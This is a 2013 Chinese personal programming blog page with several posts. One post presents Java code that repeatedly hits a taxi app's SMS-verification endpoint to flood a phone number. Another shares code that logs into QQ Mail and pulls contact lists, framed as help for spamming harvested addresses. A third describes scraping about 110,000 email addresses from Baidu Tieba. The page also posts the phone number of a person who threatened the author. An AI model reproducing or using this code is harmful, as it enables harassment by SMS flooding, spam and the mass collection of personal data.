凤凰山笔记

just a diary


  • 首页

  • 归档

  • 标签
凤凰山笔记

程序员如何成功的假装在很努力的工作

发表于 2013-06-29 | 分类于 博客

这两周都没更新,大抵是太忙了……这几天都是晚上12点之后回家的……

从微博上看到这个,启发很大,发出来分享~

《程序员如何成功的假装在很努力的工作》

1.给人一个良好的第一印象;

2.在团队中不要太冒尖。老板会很快的习惯你的工作效率,会给你安排越来越多的工作。

3.写出优秀的代码,让代码维护起来很容易。

4.你的人际关系越好,你遇到问题时解决方法就越多。

原文短连接:http://t.cn/zHeyrri

凤凰山笔记

爱召车注册页面短信DDOS攻击漏洞

发表于 2013-06-02 | 分类于 技术宅

写在前面:
刚才有人人身威胁我,说的孔武有力的,这哥们手机号:15953100682,我把你不爽的那句话删了,其他都是事实,有劲你去找你们研发人员,为难自己员工,真的好意思吗?
你们强制删微博,很好。这个博客的东西是我自己的,劳资哪怕不干了也不会删的。漏洞也当面告诉你们了,你们改不改BUG,看不看我博客你们随意。
公司做了一个召出租车的软件,偶然发现了一个注册页面的短信验证码DDOS攻击漏洞。于是简单写个java类进行攻击测试,果然可以无限制发送垃圾短信。无奈这个也算自己公司做的,所以果断发微博@他们官方微博告知,没想到不一会就一个小姑娘给我打电话送来感谢话语,而且叮嘱马上关了程序吧,说工程师马上改……~hoho

首先说下原理:短信验证码想法是好的,可以有效防止注册攻击。但是如果发送短信没有时间限制或者每日发送条数的显示,很容易被人用来制作短信炸弹。简单的说就是通过程序不断模拟发送短信的请求,从而对指定号码发送短信。当然现在都是智能手机,可以马上屏蔽掉,但是垃圾短信还是会发送到后台的,至少我用安卓手机测试是这样的。

手机测试截图:

JAVA 测试类代码,继承了一个TimerTask类,大家懂得,可以写个定时器定时执行。他们已经改了,所以不用试了,仅供参考。

public class SmsBomb3 extends TimerTask{

public static int times=0;

/**
 * @param args
 */
public static void main(String[] args) {
    // TODO Auto-generated method stub
     HttpClient client = new HttpClient();
     Map  paraMap=new HashMap();
         PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
        //NameValuePair a = new NameValuePair("phone","186XXXXOOOO");//186XXXXOOOO  
        //post.setRequestBody(new NameValuePair[] {a});

        //HttpMethod httpPost =getGetMethod();
        client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
        try {
            int status = client.executeMethod(post);
            System.out.println("status:"+status);
            System.out.println(post.getResponseBodyAsString());

        } catch (HttpException e) {
            e.printStackTrace(System.err);
        } catch (IOException e) {
            e.printStackTrace(System.err);
        }finally{
            post.releaseConnection();
        }
}

public void run() {
    // TODO Auto-generated method stub
    times=times+1;
    HttpClient client = new HttpClient();
    PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
        //HttpMethod httpPost =getGetMethod();
        client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
        try {
            int status = client.executeMethod(post);
            if(status==200)
            {
                System.out.println("ping success!"+times);
               // System.out.println(httpPost.getResponseBodyAsString());
            }
            else if(status==302)
            {
                System.out.println("页面请求返回值为:"+status);
                System.out.println(post.getResponseBodyAsString());
            }
            else
            {
                System.out.println("页面请求返回值为:"+status);
            }
        } catch (HttpException e) {
            e.printStackTrace(System.err);
        } catch (IOException e) {
            e.printStackTrace(System.err);
        }finally{
            post.releaseConnection();
        }
}

}

最后附上他们微博感谢的截图,嘿嘿

凤凰山笔记

java登陆qq邮箱获取联系人列表

发表于 2013-05-07 | 分类于 代码 , 技术宅

之前采集好了好多QQ邮箱,想通过程序把邮件发出去,但是各大邮箱限制太多,一发就进垃圾邮箱,还有就是发的太多了就直接封ip了,发也发不出去。能成功发出去三四封就不错了……

所以想通过登陆wap版的qq模拟进行发信,开始以为成功了。后来发现也不行,发了几封之后的邮件都跑到草稿箱里面了……

现在放出获取联系人的代码,希望对有心人有所帮助

PS:代码比较简陋没有经过整理,但是确实可以完成登录QQ邮箱并获取联系人信息,如果朋友想解析出联系人,可以使用jsoup或者正则

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.CookieStore;
import org.apache.http.client.HttpClient;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.AbstractHttpClient;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;
import org.apache.http.util.EntityUtils;

/**
 * 
 * 
 * @author www.kaedeen.com
 *
 */
public class GetContactList {

    /**
     * @param args
     */
    public static void main(String[] args) {
        // TODO Auto-generated method stub
        String userName="XXXXX@qq.com";
        String passWord="PASSWORD";

        //0.确定host
        String host=getQQMailHost();

        //1.登陆
        String sid="";
        HttpClient httpClient = new DefaultHttpClient();
        String url="http://"+host+"/cgi-bin/login";
        List nvps = new ArrayList();
        nvps.add(new BasicNameValuePair("device", ""));
        nvps.add(new BasicNameValuePair("f", "xhtml"));
        nvps.add(new BasicNameValuePair("tfcont", ""));
        nvps.add(new BasicNameValuePair("uin", userName));
        nvps.add(new BasicNameValuePair("aliastype", "@qq.com"));
        nvps.add(new BasicNameValuePair("pwd", passWord));
        nvps.add(new BasicNameValuePair("btlogin", "登陆"));
        nvps.add(new BasicNameValuePair("mss", ""));

        HttpPost httpPost =new HttpPost(url);
        HttpResponse httpResponse=null;//登陆请求返回信息
        String reponseBody="";
        try {
            httpPost.setEntity(new UrlEncodedFormEntity(nvps, HTTP.UTF_8));
            httpPost.addHeader("Referer", "http://w.mail.qq.com/cgi-bin/loginpage?f=xhtml");
            httpPost.addHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 ");
            httpResponse=httpClient.execute(httpPost);

            HttpEntity resEntity =  httpResponse.getEntity();
            reponseBody=EntityUtils.toString(resEntity);

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            httpPost.abort();
        }

        Pattern pattern = Pattern.compile("/today\?sid\=(.*)&first=1");
        Matcher m = pattern.matcher(reponseBody);
        if (m.find()) {
            sid=m.group(1);
        } else {
            System.out.println("获取sid失败!");
        }    

        //2、获取联系人
        HttpGet httpget =new HttpGet("http://"+host+"/cgi-bin/addr_listall?sid="+sid);
        httpget.setHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 ");
        try {
            //简单复用之前变量
            httpResponse = httpClient.execute(httpget);

            HttpEntity resEntity =  httpResponse.getEntity();
            reponseBody=EntityUtils.toString(resEntity);

            System.out.println(reponseBody);

        } catch (ClientProtocolException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

    }

    /**
     * 获取动态host地址
     * @return
     */
    public static String getQQMailHost()
    {
        String host="";

        HttpClient httpClient = new DefaultHttpClient();
        String url="http://w.mail.qq.com/cgi-bin/loginpage?f=xhtml";
        HttpGet httpget =new HttpGet(url);
        httpget.setHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 ");
        try {
            HttpResponse httpResponse = httpClient.execute(httpget);
            Pattern pattern = Pattern.compile("Set-Cookie: edition\=(.*); Domain=.mail.qq.com; Path=/; Expires");
            Matcher m = pattern.matcher(httpResponse.toString());
            if (m.find()) {
                host=m.group(1);
            } else {
                System.out.println("获取host失败!");
            }    

        } catch (ClientProtocolException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }

        return host;
    }

}
凤凰山笔记

或无安身之地

发表于 2013-04-26 | 分类于 博客 , 啰B嗦

没想到网络影响力如此之大,小小的博客竟然被管理层看到了,仔细想了想原因可能是几篇技术文章分享到了QQ空间导致……

本来仅仅用来记录生活二三事以及自己对技术的记录的一块自留地,实在不想被太多人知道,博客到现在仅仅20ip左右吧,谷歌广告还莫名其妙被干掉。

难道我平时看起来真的和网络中一点不符吗?仅仅是个压抑的技术宅而已吧,何去何从?

 

凤凰山笔记

java采集百度贴吧邮箱地址,Httpclient+Jsoup

发表于 2013-04-21 | 分类于 代码 , 爬虫

这几天经常看百度贴吧。发现好多童鞋为了求各种资源,都很自觉的留下了自己的邮箱,但是楼主到底发不发可要看楼主心情了~

守着这么多邮箱,总是会让人衍生出很多想法的,具体怎么利用不知道,但是咱会写采集器啊…… 用的还是Httpclient+Jsoup没的说~

简单梳理下思路:

0.某个贴吧首页:http://tieba.baidu.com/f?kw=XXXXXX
1.遍历所有的展示页面:百度贴吧第几页的规则为在对应贴吧url后面加上 &pn=100 &pn=150 ,每50个一页
2.遍历每个页面的帖子地址
3.对于每个帖子,不断获取“下一页”链接,同时收集email地址写入文件

Think more 如何实现多线程?
最后那个多线程貌似不太好实现,基本木法实现,百度帖子地址很难有规律可循,除非遍历整个百度帖吧所有帖子,而不是某个贴吧的帖子。

昨天晚上简单写了写,用“愣头青”的方式不断遍历,早上看了下,竟然采集到了大概11万左右的邮箱地址^^ ,当然很多应该是重复的,我只统计@的数量~

见图

附上代码,仅供参考,如果不能用说明百度采取措施了,或者换了网页结构。

貌似一放代码,网页这里就乱了,所以放百度网盘了~
http://pan.baidu.com/share/link?shareid=534479&uk=1914144947
凤凰山笔记

不装JDK不配置JAVA_HOME,使用Tomcat 6.x

发表于 2013-04-14 | 分类于 代码 , 技术宅

windows下很多程序不用配置JAVA_HOME,是因为那些程序是直接通过读取注册表里边的路径获取了jdk的路径,比如eclipse(码农必备……)

但是Tomcat必须配置JAVA_HOME变量才能使用,给客户装每次也需要装一遍JDK然后再设置各种环境变量属性(如何配置java环境变量),当然大型项目都是用websphere或者weblogic这种中间件,那是因为这种客户一般有钱买大型服务器,这个另当别论……

今天简单看了一下,其实通过在tomcat下bin目录在startup.bat配置下JAVA_HOME,就可以不再安装JDK和配置环境变量,也可以使用tomcat了,当然这个必须拷贝一份绿色的jdk

具体配置:

1、下载绿色版的apache-tomcat-6.0.35解压到任何目录,把jdk放入tomcat路径下,我用的jdk1.5

2、在starup.bat的头部加入 set JAVA_HOME=”..jdk1.5”

如图:

经实验,tomcat正常启动。

当然您可以使用其他的绿色环境如JTM等,但是不太适合研究和修改。

我打包放到网盘,大家可自己下载使用,里面带有jdk1.5

百度网盘 其他网盘

1…192021…27
cloudroc

cloudroc

某种原因留言关闭,如有问题请微信发给我

158 日志
33 分类
115 标签
RSS
GitHub 知乎
Links
  • 开发者头条
  • 网址导航
  • 少侠请留步
  • ghostry
  • SuperMan
  • jack
  • 惶心
© 2013 - 2018 cloudroc
由 Hexo 强力驱动
Hosted by Coding Pages